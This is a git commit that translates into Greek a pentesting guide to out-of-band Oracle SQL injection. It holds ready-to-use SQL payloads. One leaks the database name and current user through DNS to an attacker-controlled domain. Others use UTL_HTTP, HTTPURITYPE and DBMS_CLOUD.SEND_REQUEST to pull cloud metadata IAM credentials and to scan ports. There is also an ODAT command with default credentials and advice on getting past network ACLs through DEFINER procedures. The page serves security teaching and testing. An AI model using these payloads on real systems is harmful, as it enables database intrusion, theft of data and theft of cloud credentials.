Translated ['src/pentesting-web/sql-injection/oracle-injection.md'] to e

This commit is contained in:
Translator 2025-08-20 00:35:25 +00:00
parent c5d53f9372
commit 2041a11bb3

View File

@ -16,7 +16,7 @@ docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### Oracle packages that support a URL or a Hostname/Port Number specification <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
Για να βρω οποιαδήποτε πακέτα και συναρτήσεις που υποστηρίζουν μια διεύθυνση και αριθμό θύρας, έκανα μια αναζήτηση στο Google στην [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Συγκεκριμένα,
Για να βρω οποιαδήποτε πακέτα και συναρτήσεις που υποστηρίζουν μια προδιαγραφή host και port, έκανα μια αναζήτηση στο Google στην [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Συγκεκριμένα,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
@ -37,13 +37,13 @@ site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portn
- DBMS_STREAMS_ADM
- UTL_HTTP
Αυτή η πρόχειρη αναζήτηση προφανώς παραλείπει πακέτα όπως το `DBMS_LDAP` (το οποίο επιτρέπει τη μεταφορά ενός ονόματος κεντρικού υπολογιστή και αριθμού θύρας) καθώς η [σελίδα τεκμηρίωσης](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) σας παραπέμπει απλώς σε μια [διαφορετική τοποθεσία](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Έτσι, μπορεί να υπάρχουν άλλα πακέτα Oracle που μπορούν να καταχραστούν για να γίνουν εξωτερικά αιτήματα που μπορεί να έχω παραλείψει.
Αυτή η πρόχειρη αναζήτηση προφανώς παραλείπει πακέτα όπως το `DBMS_LDAP` (το οποίο επιτρέπει τη μεταφορά ενός ονόματος κεντρικού υπολογιστή και αριθμού θύρας) καθώς η [σελίδα τεκμηρίωσης](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) σας παραπέμπει απλώς σε μια [διαφορετική τοποθεσία](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Επομένως, μπορεί να υπάρχουν άλλα πακέτα Oracle που μπορούν να καταχραστούν για να κάνουν εξωτερικά αιτήματα που μπορεί να έχω παραλείψει.
Σε κάθε περίπτωση, ας ρίξουμε μια ματιά σε μερικά από τα πακέτα που έχουμε ανακαλύψει και καταγράψει παραπάνω.
**DBMS_LDAP.INIT**
Το πακέτο `DBMS_LDAP` επιτρέπει την πρόσβαση σε δεδομένα από διακομιστές LDAP. Η συνάρτηση `init()` αρχικοποιεί μια συνεδρία με έναν διακομιστή LDAP και παίρνει ένα όνομα κεντρικού υπολογιστή και αριθμό θύρας ως παράμετρο.
Το πακέτο `DBMS_LDAP` επιτρέπει την πρόσβαση σε δεδομένα από διακομιστές LDAP. Η συνάρτηση `init()` αρχικοποιεί μια συνεδρία με έναν διακομιστή LDAP και δέχεται ένα όνομα κεντρικού υπολογιστή και αριθμό θύρας ως παράμετρο.
Αυτή η συνάρτηση έχει τεκμηριωθεί προηγουμένως για να δείξει την εξαγωγή δεδομένων μέσω DNS, όπως παρακάτω
```
@ -62,7 +62,7 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
**UTL_SMTP**
Το πακέτο `UTL_SMTP` έχει σχεδιαστεί για την αποστολή email μέσω SMTP. Το παράδειγμα που παρέχεται στον [ιστότοπο τεκμηρίωσης της Oracle δείχνει πώς μπορείτε να χρησιμοποιήσετε αυτό το πακέτο για να στείλετε ένα email](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Για εμάς, ωστόσο, το ενδιαφέρον είναι η δυνατότητα παροχής προδιαγραφών host και θύρας.
Το πακέτο `UTL_SMTP` έχει σχεδιαστεί για την αποστολή email μέσω SMTP. Το παράδειγμα που παρέχεται στον [ιστότοπο τεκμηρίωσης της Oracle δείχνει πώς μπορείτε να χρησιμοποιήσετε αυτό το πακέτο για να στείλετε ένα email](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Για εμάς, ωστόσο, το ενδιαφέρον είναι η δυνατότητα παροχής προδιαγραφών για host και θύρα.
Ένα πρόχειρο παράδειγμα φαίνεται παρακάτω με τη λειτουργία `UTL_SMTP.OPEN_CONNECTION`, με χρονικό όριο 2 δευτερολέπτων.
```
@ -124,15 +124,15 @@ END;
utl_tcp.close_connection(c);
END;
```
Ενδιαφέρον είναι ότι, λόγω της δυνατότητας δημιουργίας ωμών αιτημάτων TCP, αυτό το πακέτο μπορεί επίσης να χρησιμοποιηθεί για να ερωτήσει την υπηρεσία μεταδεδομένων της Instace όλων των παρόχων cloud, καθώς ο τύπος μεθόδου και οι επιπλέον κεφαλίδες μπορούν να περαστούν μέσα στο αίτημα TCP.
Ενδιαφέρον, λόγω της ικανότητας να δημιουργεί ακατέργαστα αιτήματα TCP, αυτό το πακέτο μπορεί επίσης να χρησιμοποιηθεί για να ερωτήσει την υπηρεσία μεταδεδομένων της Instance όλων των παρόχων cloud, καθώς ο τύπος μεθόδου και οι επιπλέον κεφαλίδες μπορούν να περαστούν μέσα στο αίτημα TCP.
**UTL_HTTP και Ιστοσελίδες Αιτημάτων**
Ίσως η πιο κοινή και ευρέως τεκμηριωμένη τεχνική σε κάθε tutorial Oracle SQL Injection Out of Band είναι το [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Αυτό το πακέτο ορίζεται από την τεκμηρίωση ως - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.`
Ίσως η πιο κοινή και ευρέως τεκμηριωμένη τεχνική σε κάθε tutorial Out of Band Oracle SQL Injection είναι το [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Αυτό το πακέτο ορίζεται από την τεκμηρίωση ως - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
Μπορείτε επιπλέον να το χρησιμοποιήσετε για να εκτελέσετε μερικές στοιχειώδεις σάρωσεις θυρών με ερωτήματα όπως
Μπορείτε επιπλέον να το χρησιμοποιήσετε για να εκτελέσετε μερικές στοιχειώδεις σάρωσεις θυρών επίσης με ερωτήματα όπως
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
@ -140,6 +140,89 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
Ένα `ORA-12541: TNS:no listener` ή ένα `TNS:operation timed out` είναι σημάδι ότι η θύρα TCP είναι κλειστή, ενώ ένα `ORA-29263: HTTP protocol error` ή δεδομένα είναι σημάδι ότι η θύρα είναι ανοιχτή.
Ένα άλλο πακέτο που έχω χρησιμοποιήσει στο παρελθόν με ποικίλη επιτυχία είναι η [`GETCLOB()` μέθοδος του `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) που σας επιτρέπει να αλληλεπιδράτε με μια διεύθυνση URL και παρέχει υποστήριξη για το πρωτόκολλο HTTP. Η μέθοδος `GETCLOB()` χρησιμοποιείται για να ανακτήσει την απόκριση GET από μια διεύθυνση URL ως [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
Ένα άλλο πακέτο που έχω χρησιμοποιήσει στο παρελθόν με ποικιλία επιτυχίας είναι η [`GETCLOB()` μέθοδος του `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) που σας επιτρέπει να αλληλεπιδράτε με μια διεύθυνση URL και παρέχει υποστήριξη για το πρωτόκολλο HTTP. Η μέθοδος `GETCLOB()` χρησιμοποιείται για να ανακτήσει την απόκριση GET από μια διεύθυνση URL ως [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)
```
SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
```
---
## Επιπλέον Πακέτα & Τεχνικές (Oracle 19c → 23c)
### UTL_INADDR Εξαγωγή δεδομένων μέσω DNS και ανακάλυψη hosts
`UTL_INADDR` εκθέτει απλούς βοηθούς επίλυσης ονομάτων που ενεργοποιούν μια εξερχόμενη αναζήτηση DNS από τον κεντρικό υπολογιστή της βάσης δεδομένων. Δεδομένου ότι απαιτείται μόνο ένα domain (χωρίς port/ACL) είναι μια αξιόπιστη πρωτογενής μέθοδος για blind-exfil όταν άλλες κλήσεις δικτύου είναι αποκλεισμένες.
```sql
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
SELECT UTL_INADDR.get_host_address(
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
'.attacker.oob.server') FROM dual;
```
`get_host_address()` επιστρέφει τη διεύθυνση IP που έχει επιλυθεί (ή προκαλεί `ORA-29257` αν η επίλυση αποτύχει). Ο επιτιθέμενος χρειάζεται μόνο να παρακολουθεί το εισερχόμενο αίτημα DNS στον ελεγχόμενο τομέα για να επιβεβαιώσει την εκτέλεση του κώδικα.
### DBMS_CLOUD.SEND_REQUEST πλήρης HTTP πελάτης σε Autonomous/23c
Οι πρόσφατες εκδόσεις που επικεντρώνονται στο cloud (Autonomous Database, 21c/23c, 23ai) περιλαμβάνουν το `DBMS_CLOUD`. Η συνάρτηση `SEND_REQUEST` λειτουργεί ως γενικού σκοπού HTTP πελάτης που υποστηρίζει προσαρμοσμένα ρήματα, κεφαλίδες, TLS και μεγάλες σώματα, καθιστώντας την πολύ πιο ισχυρή από την κλασική `UTL_HTTP`.
```sql
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
BEGIN
-- empty credential when no auth is required
DBMS_CLOUD.create_credential(
credential_name => 'NOAUTH',
username => 'ignored',
password => 'ignored');
END;
/
DECLARE
resp DBMS_CLOUD_TYPES.resp;
BEGIN
resp := DBMS_CLOUD.send_request(
credential_name => 'NOAUTH',
uri => 'http://169.254.169.254/latest/meta-data/',
method => 'GET',
timeout => 3);
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
END;
/
```
Γιατί το `SEND_REQUEST` επιτρέπει αυθαίρετες διευθύνσεις URI στόχου, μπορεί να καταχραστεί μέσω SQLi για:
1. Εσωτερική σάρωση θυρών / SSRF σε υπηρεσίες μεταδεδομένων cloud.
2. Εξαγωγή εκτός ζώνης μέσω HTTPS (χρησιμοποιήστε το Burp Collaborator ή ένα `ngrok` τούνελ).
3. Επιστροφές σε διακομιστές επιτιθέμενων ακόμη και όταν οι παλαιότερες πακέτες κλήσεων είναι απενεργοποιημένες από ACLs.
Εάν έχετε μόνο μια κλασική on-prem 19c αλλά μπορείτε να δημιουργήσετε αποθηκευμένες διαδικασίες Java, μπορείτε μερικές φορές να εγκαταστήσετε το `DBMS_CLOUD` από το πακέτο πελάτη OCI — χρήσιμο σε ορισμένες εμπλοκές.
### Αυτοματοποίηση της επιφάνειας επίθεσης με **ODAT**
[ODAT Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) έχει παρακολουθήσει τις σύγχρονες εκδόσεις (δοκιμασμένο μέχρι 19c, 5.1.1 Απρ-2022). Τα modules `utl_http`, `utl_tcp`, `httpuritype` και τα νεότερα `dbms_cloud` αυτόματα:
* Ανιχνεύουν χρησιμοποιήσιμα πακέτα κλήσεων/παραχωρήσεις ACL.
* Προκαλούν DNS & HTTP επιστροφές για τυφλή εξαγωγή.
* Δημιουργούν έτοιμα προς αντιγραφή SQL payloads για Burp/SQLMap.
Παράδειγμα: γρήγορος έλεγχος OOB με προεπιλεγμένα διαπιστευτήρια (φροντίζει για την καταμέτρηση ACL στο παρασκήνιο):
```bash
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
```
### Πρόσφατοι περιορισμοί & παρακάμψεις δικτύου ACL
Η Oracle αυστηροποίησε τα προεπιλεγμένα Network ACLs στην CPU Ιουλίου 2023 — οι λογαριασμοί χωρίς δικαιώματα τώρα λαμβάνουν `ORA-24247: network access denied by access control list` από προεπιλογή. Δύο μοτίβα επιτρέπουν ακόμα κλήσεις μέσω SQLi:
1. Ο στοχευμένος λογαριασμός κατέχει μια είσοδο ACL (`DBMS_NETWORK_ACL_ADMIN.create_acl`) που προστέθηκε από έναν προγραμματιστή για ενσωματώσεις.
2. Ο επιτιθέμενος εκμεταλλεύεται μια ρουτίνα PL/SQL με δικαιώματα ορισμού υψηλής προνομιακής πρόσβασης (π.χ. σε μια προσαρμοσμένη εφαρμογή) που *έχει ήδη* `AUTHID DEFINER` και τις απαραίτητες παραχωρήσεις.
Αν συναντήσετε `ORA-24247` κατά την εκμετάλλευση, πάντα αναζητήστε επαναχρησιμοποιήσιμες διαδικασίες:
```sql
SELECT owner, object_name
FROM dba_objects
WHERE object_type = 'PROCEDURE'
AND authid = 'DEFINER';
```
(in many audits at least one reporting/export procedure had the needed rights).
---
## Αναφορές
* Oracle Docs περιγραφή και παραδείγματα του πακέτου `DBMS_CLOUD.SEND_REQUEST`.
* quentinhardy/odat Εργαλείο Επίθεσης Βάσης Δεδομένων Oracle (τελευταία έκδοση 5.1.1, Απρ-2022).
{{#include ../../banners/hacktricks-training.md}}